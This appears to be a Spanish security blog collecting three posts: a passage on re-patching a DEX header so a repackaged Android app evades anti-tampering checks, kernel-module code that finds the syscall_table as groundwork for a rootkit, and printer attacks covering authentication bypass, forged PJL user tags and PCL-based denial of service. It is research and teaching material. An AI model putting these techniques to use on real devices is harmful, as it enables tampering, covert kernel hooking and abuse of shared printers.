[] File size: 1870044 bytes
…

De cara a obtener un ejecutable funcional, el último paso necesario es como podréis imaginados modificar esos valores dentro de la cabecera dex, para ello podéis hacer uso de las siguientes funciones que programé basándome en el trabajo previo de Tim Strazzere:

void computeDexSHA1signature(uint32_t dex_size, char *dexFileBytes) {
int i;
SHA_CTX context;
unsigned char md[SHA_DIGEST_LENGTH];
char buf[SHA_DIGEST_LENGTH*2];

memset(md, 0x0, SHA_DIGEST_LENGTH);
memset(buf, 0x0, SHA_DIGEST_LENGTH*2);

SHA1(dexFileBytes+32, dex_size-32, md);
for(i=0; i<SHA_DIGEST_LENGTH; i++)
sprintf((char*)&(buf[i*2]), "%02x", md[i]);

printf("SHA1 Signature: %s\n", buf);
}

void computeDexChecksum(uint32_t dex_size, char *dexFileBytes) {
uLong asum = 0;

asum = adler32(1L, dexFileBytes+12, dex_size-12);
printf("CRC Checksum: 0x%X\n\n", asum);
}

Si lo preferís, también es posible hacerlo utilizando rahash2:

$ rahash2 -f 0x20 -a sha1 classes.dex
classes.dex: 0x00000020-0x001c88dc sha1: 365272fe850d8b07a2b3630c68a9c093d451fcf1

$ rahash2 -f 0xC -a adler32 classes.dex
classes.dex: 0x0000000c-0x001c88dc adler32: f386a338

Puede ser que los valores devueltos por estas instrucciones no sean los mismos, no es sinónimo de que esté mal, tal vez las cadenas que habéis reemplazado no sean las mismas, o posean una longitud inferior.

Sabemos que la estructura de la cabecera de un fichero .dex presenta la siguiente estructura:

Offset Size Description

0x0 8 'Magic' value: "dex\n009\0"
0x8 4 Checksum
0xC 20 SHA-1 Signature
0x20 4 Length of file in bytes
0x24 4 Length of header in bytes (currently always 0x5C)
0x28 8 Padding (reserved for future use?)
0x30 4 Number of strings in the string table
0x34 4 Absolute offset of the string table
0x38 4 Not sure. String related
0x3C 4 Number of classes in the class list
0x40 4 Absolute offset of the class list
0x44 4 Number of fields in the field table
0x48 4 Absolute offset of the field table
0x4C 4 Number of methods in the method table
0x50 4 Absolute offset of the method table
0x54 4 Number of class definitions in the class definition table
0x58 4 Absolute offset of the class definition table

Donde podemos extraer que:

  • Los offsets de inicio y fin para el SHA-1 son respectivamente 0x00000000C-0×00000020
  • Los offsets de inicio y fin para el Checksum son respectivamente 0×000000008-0x0000000C

Si queremos modificar los valores existentes por los nuevos calculamos podemos ejecutar lo siguiente

[0x00000000]> s 0xC
[0x0000000C]> wx 365272fe850d8b07a2b3630c68a9c093d451fcf1

[0x00000000]> s 0x8
[0x0000000C]> wx f386a338

Finalizando así el parcheo con r2. Ahora bastará con que reemplacéis el fichero de clases antiguo por el nuevo, generéis el APK nuevamente y lo firméis. Ya tendréis la aplicación lista para ser instalada y utilizada evadiendo las protecciones anti-tampering y el control para Lucky Patcher.

Obteniendo syscall_table en Android

Tras unos días mirando el manejo de las interrupciones y excepciones en ARM para comprender su funcionamiento, he acabado por implementar un pequeño módulo que puede ser utilizado para obtener la syscall_table del sistema y utilizarse para hacer hooking de las syscalls e implementar un rootkit.

El objetivo de esta entrada es hacer una breve introducción a ello y compartir paso a paso  el modo que he utilizado para proceder.

Como sólo voy a rozar la superficie y no entraré en comentar detalles de forma exhaustiva,  tal vez consideres oportuno leer este documento sobre “Exploiting ARM Linux Systems“, donde podrás encontrar una fuerte y sólida base para profundizar en el tema.

Disclaimer: A pesar de que en determinadas puntos del artículo obtengo direcciones hardcodeadas del fichero System.map, únicamente son utilizadas con fines ilustrativo, el código que encontrarás al final del mismo, se basa en la búsqueda de patrones de un opcode determinado. Garantizando su funcionamiento, independientemente de la versión del kernel, y de las direcciones de memoria donde se haya cargado el código.

Agradecimientos para: @fsero, @trufae, @pof, @apuigventos, @apuigsech y kenshin.

Excepciones en ARM

Debemos entender una excepción, como cualquier condición que provocará el cese de ejecución establecido para una instrucción dada. Un ejemplo de ello, es el reinicio del núcleo ARM, fallos en la ejecución de instrucciones, accesos no debidos a zonas de memoria, entre otras.

Por lo general tras cada excepción, hay un software asociado, es lo que conocemos como  ’manejador de excepciones‘. Todas y cada unas de ellas provocan al núcleo entrar en un modo determinado de ejecución y con ello inferir en su comportamiento.

Sin profundizar más en detalles, en arquitecturas ARM, encontramos los siguientes manejadores junto a sus respectivos modos de operación:

Captura de pantalla 2013-01-23 a la(s) 01.06.53

Vector Table

Cuando una excepción o interrupción se sucede, generalmente en los procesadores ARM, el flujo de ejecución es pasado al ‘Exception Vector Table‘ (EVT), donde podemos encontrar un manejador de excepciones asociado a cada tipo de excepción. Allí, son definidas distintas rutinas e instrucciones que determinan cómo va a sucederse el comportamiento en los siguientes pasos.

Según sea definida la constante ‘CONFIG_VECTORS_BASE‘, forzaremos a que el EVT sea cargado en la zona alta o baja del vector, respectivamente 0xFFFF0000 y 0x0000FFFF, en el caso que nos ocupa se sucede la primera de ellas.

En Android, el contenido de este, es declarado en el fichero ‘entry-armv.S‘, procesado y copiado al EVT por el método ‘early_trap_init()‘ declarado en el fichero ‘traps.c‘.

void __init early_trap_init(void)
{
unsigned long vectors = CONFIG_VECTORS_BASE;
extern char __stubs_start[], __stubs_end[];
extern char __vectors_start[], __vectors_end[];
extern char __kuser_helper_start[], __kuser_helper_end[];
int kuser_sz = __kuser_helper_end - __kuser_helper_start;

/*
* Copy the vectors, stubs and kuser helpers (in entry-armv.S)
* into the vector page, mapped at 0xffff0000, and ensure these
* are visible to the instruction stream.
*/
memcpy((void *)vectors, __vectors_start, __vectors_end - __vectors_start);
memcpy((void *)vectors + 0x200, __stubs_start, __stubs_end - __stubs_start);
memcpy((void *)vectors + 0x1000 - kuser_sz, __kuser_helper_start, kuser_sz);

/*
* Copy signal return handlers into the vector page, and
* set sigreturn to be a pointer to these.
*/
memcpy((void *)KERN_SIGRETURN_CODE, sigreturn_codes,
sizeof(sigreturn_codes));

flush_icache_range(vectors, vectors + PAGE_SIZE);
modify_domain(DOMAIN_USER, DOMAIN_CLIENT);
}

Como se puede apreciar, lo primero que se realiza, es copiar los vectores de excepciones, y los helpers para ‘stubs‘ y ‘kuser‘, en la página del vector mapeada en 0xFFFF0000.

Buscando en los fuentes del kernel, podemos extraer que los valores asignados a las constantes que aparecen en el código son los siguientes:

  • __vectors_start : 0xC000F1E4
  • __vectors_end : 0xC000F204
  • __stubs_start : 0xC000EFC0
  • __stubs_end : 0xC000F1E4
  • __kuser_helper_start : 0xC000EF60
  • __kuser_helper_end : 0xC000EFC0

Observando ahora el ‘entry-armv.S‘ con la nueva información que disponemos, observamos que el contenido cargado en 0xFFFF0000 con:

memcpy((void *)vectors, __vectors_start, __vectors_end - __vectors_start);

Se corresponde con:


__vectors_start:

swi SYS_ERROR0
b vector_und + stubs_offset
ldr pc, .LCvswi + stubs_offset
b vector_pabt + stubs_offset
b vector_dabt + stubs_offset
b vector_addrexcptn + stubs_offset
b vector_irq + stubs_offset
b vector_fiq + stubs_offset

.globl __vectors_end
__vectors_end:

Por otro lado, a partir de la dirección 0xFFFF0200 y hasta la definida por el offset 0×224 (__stubs_end - __stubs_start):

memcpy((void *)vectors + 0x200, __stubs_start, __stubs_end - __stubs_start);

Será rellenada con:

line 1057: __stubs_start:

/*
* Interrupt dispatcher
*/
vector_stub irq, IRQ_MODE, 4

.long __irq_usr @ 0 (USR_26 / USR_32)
.long __irq_invalid @ 1 (FIQ_26 / FIQ_32)
.long __irq_invalid @ 2 (IRQ_26 / IRQ_32)
.long __irq_svc @ 3 (SVC_26 / SVC_32)
.long __irq_invalid @ 4
.long __irq_invalid @ 5
.long __irq_invalid @ 6
.long __irq_invalid @ 7
.long __irq_invalid @ 8
.long __irq_invalid @ 9
.long __irq_invalid @ a
.long __irq_invalid @ b
.long __irq_invalid @ c
.long __irq_invalid @ d
.long __irq_invalid @ e
.long __irq_invalid @ f
...
line 1185: __stubs_end:

Análogamente sucede lo mismo con el último caso, donde a partir de la dirección  0xFFFF0FA0 y hasta la definida por el offset 0×60 (__kuser_helper_end__kuser_helper_start)

memcpy((void *)vectors + 0x1000 - kuser_sz, __kuser_helper_start, kuser_sz);

Es rellenada con:


line 769: __kuser_helper_start:

__kuser_memory_barrier: @ 0xffff0fa0

#if __LINUX_ARM_ARCH__ >= 6 && defined(CONFIG_SMP)
mcr p15, 0, r0, c7, c10, 5 @ dmb
#endif
usr_ret lr

.align 5
...
line 1007: __kuser_helper_end:

 

Obteniendo la syscall_table

Nuestro objetivo hasta ahora ha sido explicar e introducir cómo es rellenado con instrucciones el EVT. Como hemos comentado previamente al inicio, cada vez que una excepción es producia esta es elevada y controlada por los manejadores predefinidos para ello.

La técnica que se va a explicar y utilizar para realizar nuestro cometido se basa en la obtención de la dirección de la syscall_table que puede ser obtenida desde las rutinas definidas para el manejador de excepciones para las interrupciones cometidas por software, conocido como el handler para el ‘vector_swi‘.

Si observamos las primeras direcciones del EVT, utilizando para ello el siguiente código cargado como LKM en kernel utilizado por el teléfono:


/* LKM - debug_evt
Author: Sebastián Guerrero <0xroot>
*/
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/mm.h>
#include <linux/init_task.h>

void vector_table();

void vector_table(){
unsigned long* vector_table_address = 0xFFFF0000;
unsigned long vector_table_instruction;
while(vector_table_address != 0xFFFF1000) {
memcpy(&vector_table_instruction, vector_table_address, sizeof(vector_table_instruction));
printk(KERN_INFO "--> DEBUG: Vector Table Address: %lx, Vector Table Instruction; %lx\n", vector_table_address, vector_table_instruction);
vector_table_address += 1;
}
}

static int __init debug_start() {
printk(KERN_INFO "---> Loading Module 8=========D\n");
printk(KERN_INFO "---> Done.\n");
vector_table();
}

static int __exit debug_stop() {
printk(KERN_INFO "---> Bye Bye\n");
}

module_init (debug_start);
module_exit (debug_stop);

Y apoyándonos en radare2:


---> Loading Module 8=========D
---> Done.
--> DEBUG: Vector Table Address: ffff0000, Vector Table Instruction; ef9f0000
--> DEBUG: Vector Table Address: ffff0004, Vector Table Instruction; ea0000dd
--> DEBUG: Vector Table Address: ffff0008, Vector Table Instruction; e59ff410
--> DEBUG: Vector Table Address: ffff000c, Vector Table Instruction; ea0000bb
--> DEBUG: Vector Table Address: ffff0010, Vector Table Instruction; ea00009a
--> DEBUG: Vector Table Address: ffff0014, Vector Table Instruction; ea0000fa
--> DEBUG: Vector Table Address: ffff0018, Vector Table Instruction; ea000078
--> DEBUG: Vector Table Address: ffff001c, Vector Table Instruction; ea0000f7

rasm2 -e -d -a arm ef9f0000: svc 0x009f0000
rasm2 -e -d -a arm ea0000dd: b 0x0000037c
rasm2 -e -d -a arm e59ff410: ldr pc, [pc, 0x410]
rasm2 -e -d -a arm ea0000bb: b 0x000002f4
rasm2 -e -d -a arm ea00009a: b 0x00000270
rasm2 -e -d -a arm ea0000fa: b 0x000003f0
rasm2 -e -d -a arm ea000078: b 0x000001e8
rasm2 -e -d -a arm ea0000f7: b 0x000003e4

Sabemos que cada vez que se produzca una interrupción por software, se ejecutará una instrucción de 4 bytes en la dirección 0xFFFF0008, donde se sumará al valor actual del registro PC el estipulado por el offset 0×410, saltando al handler ‘vector_swi’ en la dirección 0xFFFF0420 y ejecutando las rutinas definidas para él en el fichero ‘entry-common.S‘.

Si observas en este punto las distintas excepciones introducidas al comienzo del artículo y los primeros valores que ocupan el EVT, realmente lo que tenemos es:

  • 0xFFFF0000 – RESET : svc 0x009F0000
  • 0xFFFF0004 – Undefined Instruction : b 0x0000037c
  • 0xFFFF0008 – Software Interrupt : ldr pc, [pc, 0x410]
  • 0xFFFF000C – Abort (prefetch) : b 0x000002f4
  • 0xFFFF0010 – Abort (data) : b 0×00000270
  • 0xFFFF0014 – Reserved : b 0x000003f0
  • 0xFFFF0018 – IRQ : b 0x000001e8
  • 0xFFFF001C – IFQ : b 0x000003e4

Por otro lado, en ARM existen distintas formas de realizar los tradicionales saltos de unas direcciones de memoria a otras, a saber:

  • b <dirección> – Se produce el salto a la dirección especificada en relación a la posición actual del registro PC.
  • LDR pc, [pc, #offset] – Se añade al PC su valor anterior más el especificado por el offset.
  • LDR pc, [pc, #-0xff0] – Sólo se utiliza esta forma, cuando hay un manejador de interrupciones disponible. Conociendo que el vector para el controlador de interrupciones está alojado en la dirección 0xFFFFF000 y que la dirección para el ISR será siempre 0xFFFFF030.
  • MOV pc, #inmediato – Carga en el PC el valor dado de forma inmediata.

Volviendo nuevamente al punto anterior, si analizamos el código del fichero ‘entry-common.S’, concretamente la parte referente al ‘ENTRY(vector_swi)’:


ENTRY(vector_swi)
sub sp, sp, #S_FRAME_SIZE
stmia sp, {r0 - r12} @ Calling r0 - r12
add r8, sp, #S_PC
stmdb r8, {sp, lr}^ @ Calling sp, lr
mrs r8, spsr @ called from non-FIQ mode, so ok.
str lr, [sp, #S_PC] @ Save calling PC
str r8, [sp, #S_PSR] @ Save CPSR
str r0, [sp, #S_OLD_R0] @ Save OLD_R0
zero_fp

/*
* Get the system call number.
*/

#if defined(CONFIG_OABI_COMPAT)

/*
* If we have CONFIG_OABI_COMPAT then we need to look at the swi
* value to determine if it is an EABI or an old ABI call.
*/
#ifdef CONFIG_ARM_THUMB
tst r8, #PSR_T_BIT
movne r10, #0 @ no thumb OABI emulation
ldreq r10, [lr, #-4] @ get SWI instruction
#else
ldr r10, [lr, #-4] @ get SWI instruction
A710( and ip, r10, #0x0f000000 @ check for SWI )
A710( teq ip, #0x0f000000 )
A710( bne .Larm710bug )
#endif

#elif defined(CONFIG_AEABI)

/*
* Pure EABI user space always put syscall number into scno (r7).
*/
A710( ldr ip, [lr, #-4] @ get SWI instruction )
A710( and ip, ip, #0x0f000000 @ check for SWI )
A710( teq ip, #0x0f000000 )
A710( bne .Larm710bug )

#elif defined(CONFIG_ARM_THUMB)

/* Legacy ABI only, possibly thumb mode. */
tst r8, #PSR_T_BIT @ this is SPSR from save_user_regs
addne scno, r7, #__NR_SYSCALL_BASE @ put OS number in
ldreq scno, [lr, #-4]

#else

/* Legacy ABI only. */
ldr scno, [lr, #-4] @ get SWI instruction
A710( and ip, scno, #0x0f000000 @ check for SWI )
A710( teq ip, #0x0f000000 )
A710( bne .Larm710bug )

#endif

#ifdef CONFIG_ALIGNMENT_TRAP
ldr ip, __cr_alignment
ldr ip, [ip]
mcr p15, 0, ip, c1, c0 @ update control register
#endif
enable_irq

get_thread_info tsk
adr tbl, sys_call_table @ load syscall table pointer
ldr ip, [tsk, #TI_FLAGS] @ check for syscall tracing

#if defined(CONFIG_OABI_COMPAT)
/*
* If the swi argument is zero, this is an EABI call and we do nothing.
*
* If this is an old ABI call, get the syscall number into scno and
* get the old ABI syscall table address.
*/
bics r10, r10, #0xff000000
eorne scno, r10, #__NR_OABI_SYSCALL_BASE
ldrne tbl, =sys_oabi_call_table
#elif !defined(CONFIG_AEABI)
bic scno, scno, #0xff000000 @ mask off SWI op-code
eor scno, scno, #__NR_SYSCALL_BASE @ check OS number
#endif

stmdb sp!, {r4, r5} @ push fifth and sixth args
tst ip, #_TIF_SYSCALL_TRACE @ are we tracing syscalls?
bne __sys_trace

cmp scno, #NR_syscalls @ check upper syscall limit
adr lr, ret_fast_syscall @ return address
ldrcc pc, [tbl, scno, lsl #2] @ call sys_* routine

add r1, sp, #S_OFF
2: mov why, #0 @ no longer a real syscall
cmp scno, #(__ARM_NR_BASE - __NR_SYSCALL_BASE)
eor r0, scno, #__NR_SYSCALL_BASE @ put OS number back
bcs arm_syscall
b sys_ni_syscall @ not private func
ENDPROC(vector_swi)

Podemos ver que en la línea 245, se ejecuta una instrucción para cargar el puntero que contiene la syscall_table:

line:245 adr tbl, sys_call_table      - load syscall table pointer

Nuestro objetivo es conseguir llegar hasta esa subrutina, y obtener el valor que está siendo cargado, de esa forma podremos apuntar a la verdadera syscall table y cumplir con nuestro objetivo.

Llegados a este punto, se nos presenta una dificultad, sabemos cuál es la dirección de comienzo del ‘vector_swi’, pero desconocemos en qué dirección acaba, por otro lado, tampoco tenemos forma de acceder directamente al contenido que buscamos. Además en ARM no hay una instrucción ‘ret’ implementada, por tanto no podemos referenciar directamente al contenido devuelto por dicha subrutina.

Podríamos comenzar a recorrer todo el EVT a partir de la dirección 0xFFFF0420, y comenzar a buscar desde ahí, pero es un proceso tedioso e innecesario. En su lugar, propongo que primero descubramos cuál es el fin y posteriormente procedamos a acotar.

Si revisamos minuciosamente el código del ‘entry-common.S’ nuevamente, observamos que tras la instrucción:

ENDPROC(vector_swi)

Cargamos la nueva operativa:

__sys_trace:

Si buscamos este valor en las direcciones de memoria mapeadas en el fichero ‘System.map’ que podéis encontrar en el directorio raíz del kernel de vuestro teléfono, obtendremos que la instrucción es:

cat System.map | grep '__sys_trace'

c0026fb4 t __sys_trace
c0026fe0 t __sys_trace_return

Adaptando el código del snippet que puse previamente para realizar un dump del EVT y añadiendo algunas líneas más:


void vector_swi() {
unsigned long *swi_address = 0xFFFF0008;
unsigned long vector_swi_offset = 0;
unsigned long vector_swi_instruction = 0;
unsigned long *vector_swi_pointer = NULL;
unsigned long *ptr = NULL;

memcpy(&vector_swi_instruction, swi_address, sizeof(vector_swi_instruction));
printk(KERN_INFO "--->DEBUG: Vector SWI Instruction: %lx\n", vector_swi_instruction);

vector_swi_offset = vector_swi_instruction & (unsigned long)0x00000FFF;
printk(KERN_INFO "--->DEBUG: Vector SWI Offset: 0x%lx\n", vector_swi_offset);

vector_swi_pointer = (unsigned long *)((unsigned long)swi_address+vector_swi_offset+8);
printk(KERN_INFO "--->DEBUG: Vector SWI Address Pointer %p, Value: %lx\n", vector_swi_pointer, *vector_swi_pointer);

ptr = *vector_swi_pointer;

printk(KERN_INFO "---------->DEBUG: Vector SWI Handler\n");
while(ptr != 0xc0026fb4) {
memcpy(&vector_swi_instruction, ptr, sizeof(vector_swi_instruction));
printk(KERN_INFO "--->DEBUG: Vector SWI Address Pointer %p, Value: %lx\n", ptr, *ptr);
ptr++;
}

memcpy(&vector_swi_instruction, ptr, sizeof(vector_swi_instruction));
printk(KERN_INFO "--->DEBUG: Vector SWI Address Pointer %p, Value: %lx\n", ptr, *ptr);
}

Conseguimos solventar uno de los problemas que comentábamos anteriormente, encontrar el final del ‘vector_swi’ y prescindir de todo aquello que carecía de interés para nosotros, de hecho si damos un vistazo a la salida, esta se reduce considerablemente si la comparamos con el log completo:


---> Loading Module
---> Done.
--->DEBUG: Vector SWI Instruction: e59ff410
--->DEBUG: Vector SWI Offset: 0x410
--->DEBUG: Vector SWI Address Pointer ffff0420, Value: c0026f40
---------->DEBUG: Vector SWI Handler
--->DEBUG: Vector SWI Address Pointer c0026f40, Value: e24dd048
--->DEBUG: Vector SWI Address Pointer c0026f44, Value: e88d1fff
--->DEBUG: Vector SWI Address Pointer c0026f48, Value: e28d803c
--->DEBUG: Vector SWI Address Pointer c0026f4c, Value: e9486000
--->DEBUG: Vector SWI Address Pointer c0026f50, Value: e14f8000
--->DEBUG: Vector SWI Address Pointer c0026f54, Value: e58de03c
--->DEBUG: Vector SWI Address Pointer c0026f58, Value: e58d8040
--->DEBUG: Vector SWI Address Pointer c0026f5c, Value: e58d0044
--->DEBUG: Vector SWI Address Pointer c0026f60, Value: e3a0b000
--->DEBUG: Vector SWI Address Pointer c0026f64, Value: e59fc094
--->DEBUG: Vector SWI Address Pointer c0026f68, Value: e59cc000
--->DEBUG: Vector SWI Address Pointer c0026f6c, Value: ee01cf10
--->DEBUG: Vector SWI Address Pointer c0026f70, Value: e321f013
--->DEBUG: Vector SWI Address Pointer c0026f74, Value: e1a096ad
--->DEBUG: Vector SWI Address Pointer c0026f78, Value: e1a09689
--->DEBUG: Vector SWI Address Pointer c0026f7c, Value: e28f8080
--->DEBUG: Vector SWI Address Pointer c0026f80, Value: e599c000
--->DEBUG: Vector SWI Address Pointer c0026f84, Value: e92d0030
--->DEBUG: Vector SWI Address Pointer c0026f88, Value: e31c0c01
--->DEBUG: Vector SWI Address Pointer c0026f8c, Value: 1a000008
--->DEBUG: Vector SWI Address Pointer c0026f90, Value: e3570f5b
--->DEBUG: Vector SWI Address Pointer c0026f94, Value: e24fef47
--->DEBUG: Vector SWI Address Pointer c0026f98, Value: 3798f107
--->DEBUG: Vector SWI Address Pointer c0026f9c, Value: e28d1008
--->DEBUG: Vector SWI Address Pointer c0026fa0, Value: e3a08000
--->DEBUG: Vector SWI Address Pointer c0026fa4, Value: e357080f
--->DEBUG: Vector SWI Address Pointer c0026fa8, Value: e2270000
--->DEBUG: Vector SWI Address Pointer c0026fac, Value: 2a000f9d
--->DEBUG: Vector SWI Address Pointer c0026fb0, Value: ea00b836
--->DEBUG: Vector SWI Address Pointer c0026fb4, Value: e1a02007

El siguiente punto a tratar y solventar es cómo detectar en esta salida cuál es el opcode que hace referencia a la syscall_table, sabemos que la instrucción que buscamos es una ‘adr’, que realmente es una conjunción de ‘add’ y ‘ldr’.

Si nuevamente utilizamos radare2, para transformar los opcodes en instrucciones:


e24dd048 sub sp, sp, 0x48
e88d1fff stm sp, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, sl, fp, ip}
e28d803c add r8, sp, 0x3c
e9486000 stmdb r8, {sp, lr}
e14f8000 mrs r8, SPSR
e58de03c str lr, [sp, 0x3c]
e58d8040 str r8, [sp, 0x40]
e58d0044 str r0, [sp, 0x44]
e3a0b000 mov fp, 0x0
e59fc094 ldr ip, [pc, 0x94]
e59cc000 ldr ip, [ip]
ee01cf10 mcr 15, 0, ip, cr1, cr0, {0}
e321f013 msr CPSR_c, 0x13
e1a096ad lsr r9, sp, 13
e1a09689 lsl r9, r9, 13
e28f8080 add r8, pc, 0x80
e599c000 ldr ip, [r9]
e92d0030 push {r4, r5}
e31c0c01 tst ip, 0x100
1a000008 bne 0x00000028
e3570f5b cmp r7, 0x16c
e24fef47 sub lr, pc, 0x11c
3798f107 ldrcc pc, [r8, r7, lsl 2]
e28d1008 add r1, sp, 0x8
e3a08000 mov r8, 0x0
e357080f cmp r7, 0xf0000
e2270000 eor r0, r7, 0x0
2a000f9d bcs 0x00003e7c
ea00b836 b 0x0002e0e0
e1a02007 mov r2, r7

El opcode que estamos buscando concretamente es ‘e28f8080′ que corresponde a la instrucción ‘add r8, pc, 0×80′, como está cargando directamente un offset sobre el contenido del registro ‘pc’, utilizaremos como patrón de búsqueda el opcode: ’0xE28F8xxx’.

Tras todo este proceso, ya hemos dado con la solución que buscábamos, por lo que implementándo el siguiente snippet de código:


unsigned long* syscall_table() {
unsigned long *swi_address = 0xFFFF0008;
unsigned long vector_swi_offset = 0;
unsigned long vector_swi_instruction = 0;
unsigned long *vector_swi_pointer = NULL;
unsigned long *ptr = NULL;
unsigned long *syscall = NULL;
unsigned long syscall_table_offset = 0;

memcpy(&vector_swi_instruction, swi_address, sizeof(vector_swi_instruction));
printk(KERN_INFO "--->DEBUG: Vector SWI Instruction: %lx\n", vector_swi_instruction);

vector_swi_offset = vector_swi_instruction & (unsigned long)0x00000FFF;
printk(KERN_INFO "--->DEBUG: Vector SWI Offset: 0x%lx\n", vector_swi_offset);

vector_swi_pointer = (unsigned long *)((unsigned long)swi_address+vector_swi_offset+8);
printk(KERN_INFO "--->DEBUG: Vector SWI Address Pointer %p, Value: %lx\n", vector_swi_pointer, *vector_swi_pointer);

ptr = *vector_swi_pointer;

while(syscall == NULL) {
if((*ptr & (unsigned long)0xFFFFFF000) == 0xE28F8000) {
syscall_table_offset = *ptr & (unsigned long)0x00000FFF;
syscall = (unsigned long)ptr+8+syscall_table_offset;
printk(KERN_INFO "--->DEBUG: Syscall Table Found at %p\n", syscall);
break;
}
ptr++;
}
return syscall;
}

Obtendremos como salida:


---> Loading Module
---> Done.
--->DEBUG: Vector SWI Instruction: e59ff410
--->DEBUG: Vector SWI Offset: 0x410
--->DEBUG: Vector SWI Address Pointer ffff0420, Value: c0026f40
--->DEBUG: Syscall Table Found at c0027004

Encontrándose la syscall_table en la dirección 0xC0027004

Ahora puedes imprimir, ahora no

Hace algunas semanas, tuve la oportunidad de cacharrear con varios modelos de impresoras tratando de entender un poco mejor su forma de trabajar. Como me pareció bastante divertida la investigación y saque algunos fallos, me ha parecido interesante compartirlo aquí.

A día de hoy, la mayor parte de las impresoras que podemos encontrar en el mercado hacen uso de la tecnología JetDirect. Diseñada por HP, facilita la tarea de adjuntar este tipo de dispositivos de forma directa a una red de área local, permitiendo de esta forma que sean visibles y accesibles por el resto de dispositivos y/o usuarios conectados a un mismo segmento de red.

Así, cuando queremos imprimir un fichero en concreto, únicamente tenemos que mandarlo a la cola de impresión y segundos más tarde recoger el resultado que ha sido imprimido. De esta forma, a un alto nivel de abstracción, el usuario únicamente ha de saber que dada una determinada entrada, obtendrá una salida esperada. Pero, ¿realmente cómo funciona todo este proceso?

Como comentaba anteriormente, a nivel interno, el protocolo JetDirect permite establecer una comunicación con este tipo de dispositivos, quedando a la espera de recibir el flujo de datos a tratar.

Junto con el contenido a imprimir, siguiendo el formato impuesto por una extensión de fichero, se añade información adicional que es parseada e interpretada por la impresora.

Para nuestro propósito, nos basta con conocer los siguientes términos:

  • UEL (Universal Exit Language) – Comando utilizado al principio y final de cada flujo de datos enviado a la impresora. La sintaxis que representa es <ESC>%-12345X, donde ESCape puede ser representado por 0x1B.
  • PJL (Printer Job Language) – Utilizado para indicar a la impresora qué acción realizar, desde cambiar la configuración desde el dispositivo, hasta realizar transferencias de ficheros. Sirve de soporte adicional para el PCL.
  • PCL (Printer Control Language) – Básicamente es un lenguaje utilizado para dar un determinado formateado a las páginas. Aunque parezca inofensivo de primeras, utilizado conscientemente puede ser aprovechado para explotar vulnerabilidad en la mayoría de parsers e intérpretes.

Como siempre, para una información más detallada y precisa, es aconsejable leer las especificaciones aportadas por cada lenguaje:

Para comprender un poco por dónde va el tema, en la siguiente imagen podréis ver el aspecto que presenta un trabajo para imprimir:

El objetivo, como supondréis está en fuzzear las etiquetas que serán parseadas e interpretadas por los intérpretes de PCL/PJL respectivamente, desencadenando en denegaciones de servicio persistentes que afectan a un gran porcentaje de modelos y manufacturadores.

¿Por qué atacar una impresora?

Bajo mi punto de opinión, ¿cuántas personas conocéis que esperan que alguien explote/infecte una vulnerabilidad en su impresora? ¿cuántos clientes auditan las impresoras que tienen conectadas a su red corporativa?

Si tenemos en cuenta que son objetivos que pasan desapercibidos y nos paramos detenidamente a inspeccionar como interactúan estas con el usuario, nos encontramos con acceso por huellas dactilares, PINs, contraseñas por LDAP, smartcards y un largo etcétera, ¿No es algo que capte nuestra atención fácilmente?

Por otro lado, todos esos documentos que una empresa puede tener en sus equipos fuertemente cifrados utilizando una clave de longitud considerable, quedan automáticamente desprotegidos al mandarse a la cola de impresión y quedar reflejados y almacenados en el historial. ¿Qué sucedería si tuviésemos control o acceso directo a ese historial? O peor aún, ¿De qué servirían esas claves de cifrados si las impresoras tienen una memoria interna y podemos re-imprimir trabajos anteriores?

También podríamos modificar el motor encargado de generar PDFs para que incluyese algún 0day, utilizar las capacidades de enviar emails que traen integradas para montar una red de spam, o utilizar la capacidad de cómputo y el desuso de estas para tareas de procesado.

Si a todo esto le sumamos la larga lista de manufacturadoresCanon, Fujitsu, HP, Konica Minolta, Lexmark, Xerox, Sharp, Kyocera Mita, Kodak, Brother, Samsung, Toshiba, Ricoh, Lanier, Nashuatec, Infotek, OCE, OKI… y observamos las ventas que han tenido a lo largo de los años, tan sólo es cuestión de hacer cuentas para apreciar la gran magnitud del asunto:

Comic Sans FTW

Disclaimer: No me hago responsable del uso que se le pueda proporcionar a esta información, así mismo, tampoco nombraré marcas ni modelos específicos. Los resultados devueltos por los fallos pueden variar según el manufacturador o el modelo, así como de la versión del firmware instalada.

Vulnerabilidad I – Bypasseando procesos de autenticación

Como comentaba anteriormente, los nuevos modelos de impresoras incorporan mecanismos de autenticación para controlar los usuarios que tienen acceso a las mismas.

De esta forma controlamos varios puntos; El número de copias realizadas por cada uno de ellos, evitando que se realizan más de las indebidas o innecesarias (a todos nos gusta imprimir gratis). La cantidad total a facturar por copia impresa. Qué documentos han sido imprimidos, y un largo etcétera.

Cada vez que un empleado desea mandar a imprimir un trabajo deberá desbloquear el dispositivo, o introducir sus credenciales de dominio correspondientes.

Todo este proceso, es posible saltárselo a la torera realizando una conexión directa al puerto o mandando el contenido a imprimir:

El resultado obtenido:

Si analizamos el documento enviado a imprimir, observaremos dos etiquetas bastante curiosas:

@PJL SET JOBNAME = "C:\Documents and Settings\divine\My Documents\TU\tdoc\cad files\kapak.dwg Model (1)"
@PJL SET USERNAME = "AAA"

Vulnerabilidad II – Asignando trabajos a usuarios del sistema

Aprovechándonos de la vulnerabilidad anterior, vamos a modificar el valor de las dos etiquetas anteriormente descritas para asignarles al director algún que otro trabajo impreso.

De esta forma, además de poder imprimir saltándonos las restricciones, es posible asignarle las copias a cualquier otro usuario, incrementándose con ello el contador.

Vulnerabilidad III – Generando denegaciones de servicio

Tal y como mostraba en una de las imágenes anteriores, a los archivos mandados a imprimir se le incluye información adicional que determina su estilo, formateado y las acciones que la impresora ha de realizar entre otras cosas.

Esos valores, son parseados e interpretados por la impresora, de forma que si le introducimos un valor no esperado o deseado, en base a como esté implementado puede tener un comportamiento anómalo, dejando de ser funcional.

En nuestro caso, vamos a centrarnos en las etiquetas PCL, y para ello vamos a utilizar la siguiente porción de formateado:

Como referencia podemos utilizar: Printer Commands PCL, además de este fichero de macros

^[&l7H^[&l-1M^[*o5W^M^C^@^GÏ^[*o-2M^[*o5W^M^B^@^@^A^[*o5W^K^A^@^@^@^[*o5W^N^C^@^@^E^[*o5W^N^U^@^@^@^[&l110A^[&u600D^[*o5W^N^E^@^S`^[*o5W^N^F^@^[g^[*r4724S^[*g12W^F^_^@^A^BX^BX

Donde podemos extraer qué:

  • g#W – “Configure Raster Data Command“, seguido de un número determinado de bytes de configuración (# – En este caso 5), establece parámetros como la profundidad del color, resolución vertical y horizontal, etc.
